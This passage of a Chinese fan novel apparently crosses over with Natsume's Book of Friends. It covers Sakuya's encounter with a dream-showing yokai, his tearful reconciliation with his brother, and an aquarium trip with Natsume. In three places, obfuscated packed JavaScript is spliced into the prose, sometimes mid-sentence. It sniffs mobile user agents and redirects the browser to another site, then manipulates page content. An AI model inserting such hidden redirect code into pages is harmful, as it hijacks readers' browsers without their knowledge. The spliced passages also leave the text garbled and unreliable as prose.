两个少年相视一笑,默契地无视了被捂嘴的胖猫。 “啊,对了,朔也,请替我谢谢的场先生。”夏目不好意思地说道:“现在七辻屋每天都会送点心到家里来……” “别在意。”朔也摆了摆手,“那本来就是表达歉意的赔偿,你们安心享用就好。” “就是!就是!”猫咪老师傲娇地抬起头,斜睨着朔也放话道:“不过的场家的小子,别以为用这种小恩小惠就能收买夏目!” 朔也瞪了它一眼,然后看向夏目,认真说道:“虽然的场家确实很想招揽你,也愿意用丰厚的利益来交换,但是绝不会用什么糟糕的手段。” 夏目笑了起来,“嗯,我相信你!” 朔也跟着笑道:“放心,我是不会为了这种事来游说你的,你的观念和的场家完全相悖,我觉得你还是跟着名取先生更好。” 夏目点了点头,想了会儿,突然问道:“那朔也你呢?你的观念和的场家应该也很不同吧?” “嗯,我主张让妖怪远离人类,但我不喜欢的场家过于强硬的做法。”朔也平静地说道:“不过的场家庇护了我,所以我会留在的场家,尽己所能回报的场一门。” 夏目看着他,一时不知道该说什么。 朔也调侃道:“是不是听上去很沉重?像是遵循了某种既定的宿命一样?” 夏目睁大眼睛。 朔也忍不住笑出了声,“没这么夸张啦,我是因为静司先生才愿意这样做的。” “诶?” 朔也笑眯眯地说道:“如果自己乐在其中的话,‘宿命’不就是和‘约定’一样的东西吗?” 夏目看着这样的朔也,终于说出了那句自己一直想说的话。 “真的,好羡慕朔也……” 朔也有些惊讶。 夏目微笑着说道:“感觉朔也总是很坚定,很清楚自己要什么,所以无论做什么都果断又勇敢。” 他转头看向一边,“我的话,经常不知道如何选择,也不知道自己是否做对了,又有很多畏惧的事情……” “虽然被你夸赞我很高兴。”朔也看着夏目,长长地叹了口气,“但听到你这么评价我的朋友,恕我不能接受你的赞美。” “嗯?” “我的朋友夏目,是个强大而不自知的家伙。”朔也一边想一边说道:“他最大的缺点就是太温柔了,明明命运亏欠了他很多,他却从未心生怨怼,依然温柔到让人吃惊的地步。” “他也许害怕很多事情,但总在最危险的时候做些勇敢的傻事,让人很头疼呢。” “如果这样的他都要被人挑剔的话,哪怕挑剔他的是你,我也会生气哦!” 夏目愣愣地看着朔也,似乎还在消化这番话。 朔也看了一眼他的神情,然后瞪向正眯着眼睛疑似在打盹的猫咪老师,迁怒道:“夏目不是叫你‘老师’么?他有这么错误的想法,你平时都不纠正他吗?” “嘁!本大爷是妖怪,怎么会知道人类的奇怪想法!” “呵~这也不会,那也不会,夏目要你何用?!” “喂!臭小鬼!你想被我吃掉吗!” “丑猫!好了伤疤忘了疼!” 刚刚还感动得鼻子发酸的夏目顿时被一人一妖吵得没了情绪,最后买了饮料和零食才将两张嘴巴堵上。 被之前的事打了岔,夏目这会儿才想起来询问朔也。 “昨晚你在电话里说的‘重要的事情’是什么呢?” 朔也喝着饮料,斟酌着说道:“其实我一直到现在都在犹豫要不要告诉你。” “咦?”夏目的好奇心瞬间被吊了起来,“是什么?告诉我吧!” 朔也想了想,叮嘱道:“但是先说好,这件事你不要因为是我说的就决定去哦!一定要考虑清楚,确定自己真的想去才能去。” 夏目更好奇了,点点头,“我会好好考虑的,你说吧!” “你听说过一种叫‘谒梦’的妖怪吗?” 夏目当然不知道,倒是一旁正嚼着薯片的猫咪老师插了话。 “你小子竟然见到谒梦了?” “看来你很清楚嘛。”朔也看了它一眼,突然对夏目说道:“既然丑猫知道,就让它之后告诉你吧。” 说完,朔也将一张写着地址的纸条递给夏目。 “谒梦就在这里,你要是决定去的话就尽快,过几天我就会让它离开了。” 夏目茫然地接过纸条,“呃,这个妖怪怎么了?” “夏目,我不确定告诉你这件事算是好事还是坏事。”朔也微微皱着眉,“但如果不告诉你的话,我又会觉得很遗憾……” 朔也和盯着他的猫咪老师对视了一眼。 “就这样吧,我先回去了。” “诶?朔也,你今天不留宿吗?”夏目下意识地挽留道。 “今天就不打扰塔子阿姨了,你记得好好考虑哦。” 就这样,朔也扔下一些意味不明的话就急匆匆地走了。 “看起来那个小鬼确实很为难啊。”猫咪老师嚼着薯片幸灾乐祸地评价道。 看着猫咪老师悠闲的样子,夏目顿时来了气,“所以到底是怎么回事啊!快告诉我,猫咪老师!” 几分钟之后,听猫咪老师解释完的夏目怔愣了好一会儿,终于意识到朔也未说完的那些话。 “确实曾有很多人类,为了再次见到自己思念的已逝之人,四处寻找谒梦。没想到那个臭小鬼倒是好运,竟然随随便便就见到了。” 所以,朔也已经见过他所思念的人了吗? 因为见到了,所以想到了和他有着同样经历的自己,既希望自己见到思念的亲人,又担心这样的相见会让他再次想起失去重要之人的痛苦…… 夏目看着手中的纸条,心里泛起阵阵暖意。 又被朔也这么温柔地关照了啊。 * 朔也是被轻微的摇晃惊醒的,他睁开眼睛,入眼的是一张温柔的笑脸。 “朔也在这里乖乖的晒太阳哦,妈妈晾好衣服就过来。” 这是朔也从未见过的母亲,她带着墨绿色的发箍,长发柔顺地披在肩上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874706|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印着清新花纹的长裙穿在她身上显得秀丽文雅。 此时的她虽然看上去有些消瘦,但明显比病重时期健康多了,微笑时两颊边甚至有着微微的红晕。 母亲亲昵地拍了拍朔也的肚子,然后离开了。 灿烂的阳光照着朔也,让他不自觉地眯起眼睛。 刚过了一会儿,就有窸窸窣窣的声音从附近传来。 “咦,这就是那个孩子吗?” “看来是的,这样的眼睛,竟然长在人类身上,真奇怪!” 朔也的视线里出现了两张奇怪的脸,是两个初级妖怪。 “啊,他在看我!” “难道他看得见妖怪?” “太可怕了!看得见妖怪的人以后会成为除妖师的!” “哼,有什么好怕的!他现在还只是个小鬼罢了……啊,他在瞪我!” “真是奇怪的眼睛……所以为什么会出现在人类身上呢?” “不会是抢夺了哪个妖怪的眼睛吧?我听说有个叫的场的除妖师就是这么做的。” “人类还真是可怕啊,竟然想盗取妖怪的力量……” “难怪那个女人看起来快要消逝了,原来是孕育了有妖力的孩子。” 朔也猛地睁大眼睛,定定地看向那个说话的妖怪。 “嘘,小点声……他该不会听得懂我们的话吧?” “你心虚什么?这么幼小的人类是听不懂的。” “但他在瞪我……” “那也不用怕,你又没有说谎,那个女人确实快……走了。” “你不也心虚么,连‘死’都不敢说了!” “快走吧,那个女人等会儿就过来了!” 两个妖怪刚离开,朔也就听到自己口中突然发出稚嫩的哭声。 匆忙的脚步声越靠越近,接着那张温柔的脸又出现在朔也的视野中,看着紧张又焦急的妈妈,朔也忍不住和自己稚嫩的声音一起说道:“妈妈,不要走。” 妈妈的表情变得十分惊讶,紧接着是满满的心疼,她似乎想到了什么,眼睛里浮现出一层水光,露出和朔也那天在河边看到的一模一样的,幸福与悲伤交织的复杂神情。 朔也在这一瞬间,突然反应过来。 妈妈知道! 她知道自己为什么会生病,也知道自己将不久于人世。 在极度的震惊中,朔也感到自己被母亲抱入怀中,温暖的手轻轻地拍着他的背。 “别哭哦朔也,看见你哭妈妈的心都要碎了……” “妈~妈~”朔也听见自己的稚嫩的但满是依恋的声音。 “嗯!妈妈在呢~” 朔也专注地看着近在咫尺的妈妈的脸。 她温柔地注视着视野,露出一副被可爱得不知如何是好的表情,干脆凑过来在朔也的脸上狠狠亲了一下。 “竟然可以有朔也这么可爱的宝宝,妈妈真的好幸福!” “朔也啊,一定要健康快乐地长大哦~” …… 朔也睁开眼睛,眼前是熟悉的天花板,清晨的阳光透过窗帘的缝隙照了进来,察觉他已经醒来的八咫飞到枕头边开始啄他的头发。 “早啊,八咫。” 八咫热情地“嘎”了一声,让朔也彻底清醒过来。 他坐起身,回想起昨晚的梦境,那会是他的记忆吗? 还是自己因谒梦的幻象而生出的臆想呢…… 不过即便只是大脑擅自的臆想,在此后的岁月里,也会逐渐成为记忆一般的存在吧。 虽然有自欺欺人的嫌疑,但如果能这样想的话,现在的纠结就显得很不必要了。 46.第四十六章 心结 * 一天后的晚上,夏目给朔也打来了电话。 “朔也,我已经去见过那只妖怪了。” 夏目的声音听上去很平静,这让朔也放心了一些。 “啊,我知道了。” “如果我没有去的话,一定会觉得很遗憾。”夏目用带着笑意的声音说道:“所以,谢谢你,朔也。” 朔也忍不住弯起嘴角,“那我就放心了。” 让夏目去见谒梦这样的妖怪,朔也最担心的是他和哥哥翔平一样被幻象迷惑,还好夏目没有陷入其中,他在夏目的话里感知到的是释然,大概是见到了很好的记忆吧。 “啊,对了!朔也,名取先生的新电影要上映了,他说可以申请两张首映活动的票,呃,你可以和我一起去吗?” “诶?真的吗?我要去!”朔也来了兴趣,“我还没参加过这样的活动呢!” “哈哈,我也是……为什么本大爷不能去!把那个小鬼的票给我!唔唔唔……呃,抱歉,刚刚是猫咪老师在捣乱……” 朔也坏笑一声,故意说道:“夏目,这种活动一般都在市区这边举行吧,你那天早点过来,我带你好好逛一逛,请你吃大餐哦~” 果然,话筒那边顿时传来丑猫抓狂的声音,朔也捂嘴偷笑着,一抬眼,就看见的场静司正在门口静静看着他。 不知道为什么,朔也在被吓了一跳的同时,竟然莫名觉得有点心虚。 他干咳了一声,和夏目又说了几句就挂断了电话。 “呃,静司先生,刚刚吵到你了吗?” 的场静司微微笑了笑,“只是很少看到你这么开心的打电话,有些好奇。” 朔也不好意思地挠了挠脸颊,“我告诉了夏目关于谒梦的消息,他大概想感谢我,所以约我一起参加名取先生的新电影首映活动。” “这样啊……”的场静司有些意外,他停顿了一会儿,突然微笑道:“感觉你和夏目君特别投缘呢。” “唔。”朔也的思维发散了一下,忍不住点头赞同道:“确实,明明平时没怎么见面,但已经是熟悉的朋友了。” 的场静司看着朔也的笑容,若有所思。 朔也是个开朗的人,但他真正交好的朋友并不多,至少他知道的只有高杉家的那个孩子,但他们交好多半也有两人几乎一直同班的缘故,对比起来的话,夏目就显得尤为特殊。 就因为之前修学旅行时见了一面,朔也就一直对那个男孩念念不忘,之后得到夏目消息的第二天,他就直接跑去找对方,还在那边留宿了一晚,之后也一直对夏目很关心。 这次谒梦的事情,朔也会告诉夏目也让的场静司很惊讶。 朔也对能够制造幻象的妖怪都非常警惕,尤其在他的兄长也被迷惑了的情况下,但就算这样,朔也仍然选择主动告诉夏目,这样的行为已超出了他一贯的行事风格。 所以,对朔也来说,夏目是可以“例外”的人吗…… “静司先生,名取先生的新电影好像还挺有趣的。”朔也刷着手机上的页面,问道:“你想去看吗?” 的场静司回神,轻笑道:“首映活动吗?如果看到我在台下,周一大概会很不自在吧。” “诶?为什么?”朔也回想了一下,了然道:“都是因为你老惹他生气啦。” 反正是他看不懂的成年人友谊。 说到这里,朔也突然想起之前的场静司见到谒梦时的情形,犹豫了一会儿,终于还是忍不住小心地问道:“静司先生,那天你看到谒梦的时候,见到的是谁呀?” “哦呀,我一直在想,朔也会什么时候问我呢。”的场静司调侃道:“竟然一直忍到现在。” 朔也的脸顿时红了起来,嘟囔着说道:“因为怕提起来会让静司先生难过啊……” “完全不会难过。”的场静司露出意味深长的微笑,回答道:“我见到的是朔也哦。” “嗯?” 朔也瞪大眼睛,“怎么可能?我就在旁边哎!”想见他的话只要转头就好了吧! “是未来的朔也哦~”的场静司笑眯眯地描述道:“看上去应该是大学毕业之后的社会人朔也,散发着成熟可靠的气息,魅力惊人呢!” “诶?!!”朔也既吃惊又怀疑,“呃,可是谒梦不是映照出人内心的渴望吗……” 如果静司先生说的是真的,那岂不是说,静司先生渴望见到多年后的他??? 朔也满脑袋问号,为什么是成年后的他?现在的他不行吗……啊,等等,好像确实有些事是现在的他不行的…… 朔也看向一直笑眯眯看着自己的的场静司,不可置信地问道:“静司先生已经厌烦工作到这种地步了吗?” “嗯?”这次轮到的场静司不明所以了。 “哎,我知道静司先生一定想尽快有人给你帮上忙,但是……” 朔也无可奈何地说道:“年龄不够确实没办法啦,只能再等等了……总之,我会努力的!”努力成为静司先生的最强助手! “……” 没想到还可以这样解释的的场静司难得有些语塞,不过本意也确实相差不远就是了。 不知道是不是控制欲在作祟,最近他对朔也未来的走向总有点不安,所以才渴望确定未来的朔也依然在的场家吧。 虽然过程有曲解,但结果总是好的。 看着朔也确定的态度,的场静司终于安心了些许。 * 在夏目见过谒梦之后,朔也很快和翔平约好了时间。 朔也解释了谒梦的特性,翔平虽然有些失落但还是很快接受了。 “就算只是记忆也足够了。”翔平自我安慰似的说道:“自从看见妈妈后,我又陆续想起了许多和妈妈有关的事情,如果不是发生这次的事,这些记忆也许会被我慢慢遗忘吧……” 朔也想起梦境中的母亲,没有说话。 两人又来到了河边。 “哥哥,你先过去吧。” 翔平看着朔也,“你不和我一起吗?” “不了。”朔也摇摇头,“它在我眼中就是妖怪的样子。” 翔平似乎很想说些什么,犹豫一番没有开口,最后还是独自走过了弯道。 朔也站在河边,难得放空了一会儿。 不知道是不是因为他最近来了这里太多次,有些记忆的碎片慢慢浮现出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877746|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 妈妈去世之后,爸爸非常辛苦,但还是努力照顾着他和哥哥。 有一次,哥哥想要到这边的公园来玩,但朔也怎么也不愿意出门,兄弟俩互不妥协,把爸爸折腾得够呛。 后来爸爸只好拜托邻居阿姨带着哥哥去公园,自己在家照顾还很年幼的朔也。 这样的妥协在之后的生活里发生了很多次,尤其是知道朔也能看见妖怪之后,爸爸把更多的注意力放到了他身上,这在哥哥看来应该算是一种偏爱吧。 本来幸福的家,在弟弟出生后一切都不一样了,妈妈离世,爸爸又更关心弟弟,而弟弟还总是说些可怕的话、做些奇怪的事……因此产生厌恶的情绪,再正常不过。 “爸爸眼里只有朔也!难道我不是您的孩子吗?!” “朔也总是说些可怕的话,让家里发生奇怪又危险的事!” “那些可怕的东西都是因为你才会来家里的!” “都是因为生下朔也,妈妈才会死的!” “因为你,我们都变得不幸了!” “朔也,如果没有你就好了!” …… 奇怪,比起其他的记忆,这些话语反而拥有更顽固的效力。 大概因为它们只是描述了事实,让人无法辩驳。 在决定封印那个来历不明的妖怪时,朔也没有抱任何成功的期望,他只是想去试试,看会不会实现另一种结果——没有朔也的家,会更好的。 虽然他侥幸活了下来,但那个期望也算是实现了,他离开后,爸爸不用再总是担心他,哥哥也好好地成长着,这个家果然更安宁、更稳定。 有种错误被弥补了一些的感觉,唯一的遗憾,是妈妈再也无法回来了…… “朔也。” 朔也转头,看着翔平有些讶异,“不多待会儿吗?” “不用了。”翔平不自在地笑了笑,“知道那只是记忆后,反而觉得有些奇怪。” 朔也点点头,“哥哥在这里等我吧,很快就好。” 他转过弯,看向长椅,熟悉的身影又出现在了那里。 朔也有些意外,他以为自己不会再看见什么了。 但现在,那天梦境里的妈妈出现在了这里。 他慢慢地走了过去,在“妈妈”微笑的注视中坐到长椅的另一边。 “朔也,已经是大孩子了呢。”“妈妈”如此感叹着。 朔也看向她,沉默了好一会儿才开了口。 “妈妈,对不起。” “妈妈”温柔地看着朔也,轻声说道:“朔也很辛苦吧?” “抱歉,擅自把你带到这个世界,却无法陪伴你长大。” 记忆和幻象糅杂在一起,朔也一直存在着的怀疑之心让他很难心安理得地接受这样温柔的回应。 朔也克制着自己,无奈地笑了笑。 “谒梦,你不是我渴望见到的人,请离开吧,去远离人类的地方。” 熟悉的身影瞬间消失,墨滴滴入无形的水中,半透明的青白色雾气肆意流动,无数个朦胧的影子重叠又散开,然后随着雾气消散,没了踪影。 朔也看向流动的河面,静静地待了一会儿。 47.第四十七章 心解 * 在翔平的提议下,兄弟俩难得一起吃了顿晚餐。 “这家汉堡很好吃,在这附近很有口碑呢!” 翔平带着朔也进了一家汉堡店,从店里热闹的情况来看,确实很受欢迎。 两人先找了个位置坐下来,翔平问了朔也想吃的东西,正准备去点餐,却被一只突然伸过来的手勾住了脖子。 “翔平,你还真是喜欢这里啊,又过来了!” “石田前辈?快松手,勒死我了!” 和翔平打招呼的是个体格健硕的青年,两人的关系似乎很亲近。 青年松开手,望向正看着的他的朔也,开朗地打了声招呼,“啊,你就是翔平的弟弟吧?总算见到你了!” 翔平给了青年一个肘击,“呃,朔也,这是我在棒球社的前辈,石田永介。” 朔也笑着点点头,“你好,石田前辈。” “翔平,弟弟比你帅气多了!” “前辈,你是专门来挑衅的吗?!” “怎么和前辈说话呢?你不是要点餐吗?快去吧!”石田推了翔平一把,“让我和弟弟聊会儿天。” 翔平看了看朔也,见他不介意的样子,很不情愿地离开了,走之前还冲石田划拉了一下嘴巴。 “抱歉,铃木弟弟,我就是太好奇了。”石田笑着说道:“我们一直以为你和翔平关系不太好。” “诶?”朔也有些惊诧。 “翔平给你发条信息都经常找人做参考呢,小心翼翼地,好像很怕你生气的样子。”石田爽朗地笑了笑,“搞得我们都怀疑他是不是对你做过什么罪大恶极的事情。” “呃。”朔也吃惊地说道:“当然没有!” “那我就放心了!”石田笑得更放松了些,“翔平那家伙容易冲动,有时候确实让人生气,但情绪过了之后他又比谁都后悔。” “我知道。”朔也笑了笑,“哥哥只是直率了一些,这样挺好的。” “听你这么说就觉得,不愧是兄弟啊!”石田感叹道。 “喂,前辈,你在说什么?”翔平端着餐盘过来,警惕的目光在两人脸上来回巡视。 “放心吧,没和弟弟说你的那些糗事。”石田站起来让开位置,顺手拿走了翔平套餐里的薯条,“这个就给我当封口费吧!” 说着他冲朔也摆了摆手,“弟弟,下次再见了!” “喂,前辈!” 翔平无可奈何地看着石田走回另一桌,他应该是和大学的朋友一起过来的,那些人正在等他。 “感觉你们的社团氛围很好哎。” 朔也有些好奇,他一直没参加过社团,没有体验过运动社团里的氛围,之前只以为训练很严格,没想到前后辈之间还挺亲近的。 “嗯。”翔平有些意外朔也对这个感兴趣,迟疑了一下解释道:“我是投手,石田前辈是捕手,我们经常搭档。” 朔也顿时了然,点点头,“那一定感情很好了。” “呃,朔也……”翔平看了看弟弟,纠结地问道:“石田前辈和你说什么了吗?” 朔也微笑起来,“你担心他说什么?” “呃、没什么……” “放心吧,石田前辈就是对我好奇而已。” “哦。”翔平半信半疑,决定晚点回去打电话拷问前辈。 不过这段小插曲倒是让兄弟俩的相处变得更轻松自然起来。 朔也问了翔平许多关于社团的事情,这让翔平在高兴之余又有了点误解。 “朔也,你对社团这么感兴趣,为什么没有加入哪个社团呢?是因为……那家人不允许吗?” 朔也愣了一下才反应过来,顿时笑道:“当然不是!静司先生从来不干涉这些事情,只是我要学习的东西太多了,在的场家比在学校社团更方便。” 翔平微微皱眉,“要学很多吗?那岂不是很有压力……” “不会的。”朔也笑着解释道:“我对那些东西很感兴趣,而且学起来并不费力,相比之前,维持偏差值的压力反而更大。” 同样在为偏差值奋斗的翔平这次倒是很有共鸣,心有戚戚地点点头。 朔也看了看时间,问道:“哥哥今天不用去塾上课吗?” “嗯。”翔平低头吃着东西,含糊地回道:“今天请假了。” 朔也看着他,若有所思。 “朔也待会儿有事吗?” “唔,没有。” “那,要不要去附近逛逛……” “好呀。” * 翔平说的逛逛,就是带着朔也到附近的电玩城玩。 “朔也应该很少到这种地方玩吧?”翔平有些不好意思地挠了挠头,“正好我也很久没来了。” 其实朔也偶尔也会陪飒真去电玩城,不过他不喜欢太喧闹的环境,一般都不会久待。 但对翔平,朔也的耐心会更多一些。 他跟着翔平玩遍了街机游戏,又祸害了一片抓娃娃机。 翔平好像和娃娃机杠上一样,投了一堆币,最后还是朔也实在看不下去,偷偷用咒术师的“技巧”作弊才让他抓到一只。 “呐,给你。” “嗯?” 朔也茫然地看着眼前这个圆溜溜黑漆漆的小鸡公仔。 翔平视线飘忽的说道:“你不是养了一只乌鸦吗?” “……嗯。” 朔也接了过来,忍不住笑出声,“八咫是一只白化渡鸦,羽毛是白色的。” “诶?”翔平愣了一下,视线再次转向娃娃机。 “就这个吧,八咫应该会喜欢的,谢谢了……啊,稍等,我接个电话。” 翔平看着弟弟走到角落打电话,不禁看了下手机里的时间,不知不觉已经这么晚了……不能再拖了! 看着朔也走回来,翔平默默深吸一口气,说道:“朔也,和我出去走走吧,我有话想和你说。” 朔也并不感到意外,只是配合地点点头。 * 电玩城里很喧闹,但走到夜晚的街道上后,一切都安静下来。 两兄弟并排走着,翔平一直没说话,朔也保持着沉默。 “那家、我是说的场家……他们对你好吗?” “很好。”朔也想了想,认真说道:“静司先生是我在的场家的监护人,他是个温柔又很有耐心的人,一直保护着我、也引导着我,所以我在那里真的很好。” 翔平迟疑了一会儿问道:“你是不是以后就一直留在的场家,再也不会回来了。” “不会啊。”朔也诧异道:“我以后确实会为的场家工作,但有时间的话我肯定会回家的……” “我说的不是这种意思。”翔平皱眉看向朔也,“所以你再也不会像以前那样,住在家里,和我还有爸爸生活在一起了,对不对?” 朔也一时有些语塞,他该怎么说呢?说每个人都迟早都会离开家吗?但翔平纠结的分明不是这回事。 “如果……我那时候没和你吵架,你是不是就不会离开了?”翔平的声音很低落。 他说的是朔也封印妖怪之前发生的事,那段时间朔也被那个妖怪纠缠得厉害,言行举止也跟着怪异起来,让家里的另外两人很紧张。 翔平那时刚进入青春期,再加上受到充满恶意的妖气的影响,突然爆发了,对朔也说了非常过分的话。 那场争吵、或者说翔平的爆发过后没多久,朔也就因封印妖怪受伤住进了医院,出院后就去往的场家,两兄弟之间因此像是缺失了某种东西,别扭着直到现在。 “这和哥哥没有关系。” 朔也看向翔平,平和地说道:“我如果不去的场家的话,很可能会被某些东西吃掉。” “像我这种拥有灵力的人,是没法和普通人生活在一起的,一不小心就会招来妖怪,家人也容易被牵连……所以那时候离开,是必须的事情。” “但至少……如果没有那次争吵的话,你不会那么快决定对不对?” 翔平像是陷入了某种漩涡里,求证似的问道:“你出院后都没有回家,连要用的东西都是爸爸帮你收拾的,你就是不想回家对不对?你在生我的气,那些话一定让你很讨厌我,再也不想看到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882232|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “不是,我……”朔也有些怔愣,轻声辩驳道:“我那时候只是很害怕,我怕你还在生气,怕你不想看到我……” “其实我知道,我说了非常非常过分的话,我……”翔平哽咽了一声,“我那时候太傻了,既胆小又嫉妒……我不知道你到底看到了什么东西,只以为你在故意引起爸爸注意……” 翔平的哽咽声越来越大,逐渐变为了抽泣。 “我说那些话……就是想看你难过,我……那时我没意识到,我说的话有多恶毒、有多可恶……” 孩子的恶意缺失了成人似的掩饰,因此十分纯粹,那些恶意会依靠本能精准地刺进对方最薄弱的地方。 当翔平开始意识到自己到底说了什么的时候,恶毒的诅咒早已像利箭一样射出,它们先是射中朔也,数年之后又射中了翔平自己。 “我想请求你的原谅,但我没办法……我自己都无法原谅自己,我想不出让你原谅我的理由……” 翔平的脸早已被眼泪浸透,他抬起手狼狈地擦着,边擦边哭。 这让朔也像是看到了小时候的翔平,在爸爸每次选择迁就他的时候,哥哥只能用哭闹发泄自己的不满。 朔也向前一步,踮起脚抱住翔平,像抱住了幼年时爱哭鼻子的兄长,他的手笨拙地拍着对方紧绷的背,小心地安抚着。 “好啦,那都是多久前的事啦。”朔也微笑道:“那时的哥哥也很委屈吧?我知道你是无心的,所以从来都不怪你。” “但是那些话……” 朔也打断了翔平的话,“那些话确实让我很伤心,但现在不是也让你很伤心吗?那就当我们扯平了。” 翔平安静了一会儿,闷闷地说道:“对不起,朔也。” “嗯,你的歉意我全都接收到了。”朔也拍了拍翔平的脊背,“我原谅哥哥,你也原谅自己吧。” 翔平没有回答,朔也暗暗叹了口气。 但不管怎样,翔平终究说出了他一直想说的话,哭了一场就像是甩掉了一些包袱,整个人都显得轻松起来。 * 时间已经很晚了,朔也催促翔平去赶电车,他则去和之前约好的的场静司汇合,然后搭“顺风车”回去。 在去约定地点的路上,朔也的思绪还停留之前的场景里,走得有点漫不经心。 等他意识到身后有脚步声一直跟着自己的时候,已经到了一处有些偏僻的街道。 朔也猛地转身,熟悉的身影让他刚刚升起的戒备全都松懈下来。 “什么啊!原来是静司先生,干嘛不叫住我?” 的场静司没有说话,走近几步,弯腰凑近朔也。 朔也瞪大眼睛,看着对方的脸在昏暗的光线里越靠越近,下意识地屏住了呼吸。 两个人的脸几乎快要撞在一起,就在朔也忍不住想伸手推开的时候,的场静司突然很是遗憾地说道:“没有在哭呢,朔也。” “哈?!” “我为什么要哭?”朔也无语,“还有,这么遗憾的语气是为什么?” 的场静司站直身体,微笑道:“如果朔也哭了的话,我也可以提供拥抱哦。” 朔也顿时反应过来,哭笑不得地吐槽道:“静司先生,你到底跟了我多久啊?” 的场静司没回答,反而确认道:“真的不需要吗?” 需要什么?拥抱吗? 朔也看了看对面的青年,他今天穿着的场家的黑色和服,衣服上淡雅的熏香若有似无地弥漫在空气里,是让朔也熟悉到觉得安心的味道。 忽然间,朔也觉得他好像确实需要一个拥抱。 “静司先生。” 在的场静司还没反应过来的时候,朔也就扑进了他怀里。 这是和拥抱哥哥翔平完全不一样的感觉,更熟悉,也更安心,朔也闭上眼睛,感觉到静司先生的手臂正紧密地环绕着自己,一只温暖的手安抚地抚摸着他的后颈。 太过于安心了,甚至觉得这样睡着好像也不错。 “好困。”朔也嘟囔着说道。 “嗯,回去吧,朔也。” 48.第四十八章 误读 * 远远地看着夏目背着一个大挎包过来,朔也就有一种不好的预感。 果然,他刚和夏目打了招呼,一个大猫头就从挎包里钻了出来。 “抱歉,朔也,猫咪老师一定要跟来……”夏目一脸尴尬。 猫咪老师倒是理直气壮,“本大爷是保镖,贴身保镖!” 周围都是来来往往的乘客,夏目赶紧捂住猫咪老师的嘴巴。 朔也瞥了猫咪老师一眼,倒是不意外它会跟来,只是特意提醒道:“夏目,待会儿要去的地方它应该进不了,把它当行李寄存吧!” “唔唔唔臭小鬼、唔唔!” 看着丑猫炸毛,朔也顿时心情好多了。 虽然是这么说,但等真的进海洋馆的时候,朔也还是给猫咪老师贴了张符咒。 “诶?这样就可以吗?”夏目惊讶地问道。 “嗯,它是妖怪,能被人看见是因为容器的关系,把容器用灵气掩盖起来,普通人就看不见了。” 朔也解释完,突然察觉到一个问题,“你们之前碰到类似情况是怎么解决的?” 夏目有些不好意思地说道:“呃,让猫咪老师扮成玩偶公仔……” 朔也看了看眼前的一人一妖,忍不住噗嗤一声笑了出来。 “嘁!有什么好笑的!”猫咪老师又炸毛了。 “想想看,一个男高去哪儿都要抱着他的毛绒公仔,噗!你们真没觉得不对劲吗?” 夏目跟着想象了一下别人眼中的自己,脸顿时爆红,啊啊啊啊啊啊!他都做了什么啊!!! “好啦,其实要不是丑猫太丑,夏目你抱着可爱公仔的话,应该还挺招人喜欢的。”朔也笑着劝道。 “臭小鬼!我忍你很久了!竟然敢说本大爷的英姿丑!” “呵,论颜值,你连蓼牙的尾巴尖都比不上!” 就在一人一妖又要如往常那般吵起来的时候,朔也突然看到路过他们的几个女孩都掩嘴偷笑着,窃窃私语间泄露出只言片语。 “真可爱啊,是情侣吗?” “两个人都好可爱!” “是在闹别扭吗嘻嘻~” “……” 因为大家看不到猫咪老师的关系,在他们的视线里就是两个男孩正在亲昵地说话…… 想起这一茬的朔也顿时噤声,干咳了一声,赶紧拉着夏目进了海洋馆。 “怎么了?”夏目一脸茫然。 曾偶然在学校论坛里刷出过可怕东西的朔也心有余悸地摇摇头,这种事情还是别告诉夏目了吧。 夏目是第一次来海洋馆,看什么都很有兴致,朔也还是第一次看到他这么活泼,有些新奇,又有些欣慰。 “海洋馆在过节的时候会有家庭活动,你可以和阿姨叔叔一起来。” 夏目的眼睛忽然亮了起来,他看了看一旁的猫咪老师,笑着问道:“朔也可以教我制作这个符咒吗?这样以后就可以悄悄带猫咪老师进来了。” 朔也故意叹了口气,“虽然是为了丑猫,但看在你的份上,只能答应了。” “嘁!”丑猫不屑。 * 逛完海洋馆正好是中午,朔也带着夏目去了烤肉店。 “之前说好要请你吃的,多吃点哦,你还是太瘦了。”说完朔也看向一旁已经馋得流口水的猫咪老师,“你就算了,胖成这个样子,夏目都快被你压得不长个了!” 夏目微红着脸,辩解道:“其实我比原来结实很多。” 塔子阿姨做饭真的很好吃,要不是他经常被逼着到处跑,运动量太大,没准已经和猫咪老师差不多了。 朔也半信半疑,突然伸手捏了捏夏目的手臂,这才确信道:“还不错,感觉挺适合拉弓的。” “诶?真的吗?” 夏目之前见过朔也射箭的样子,从男孩子的视角来看,真的很强很帅气,自然会有些憧憬。 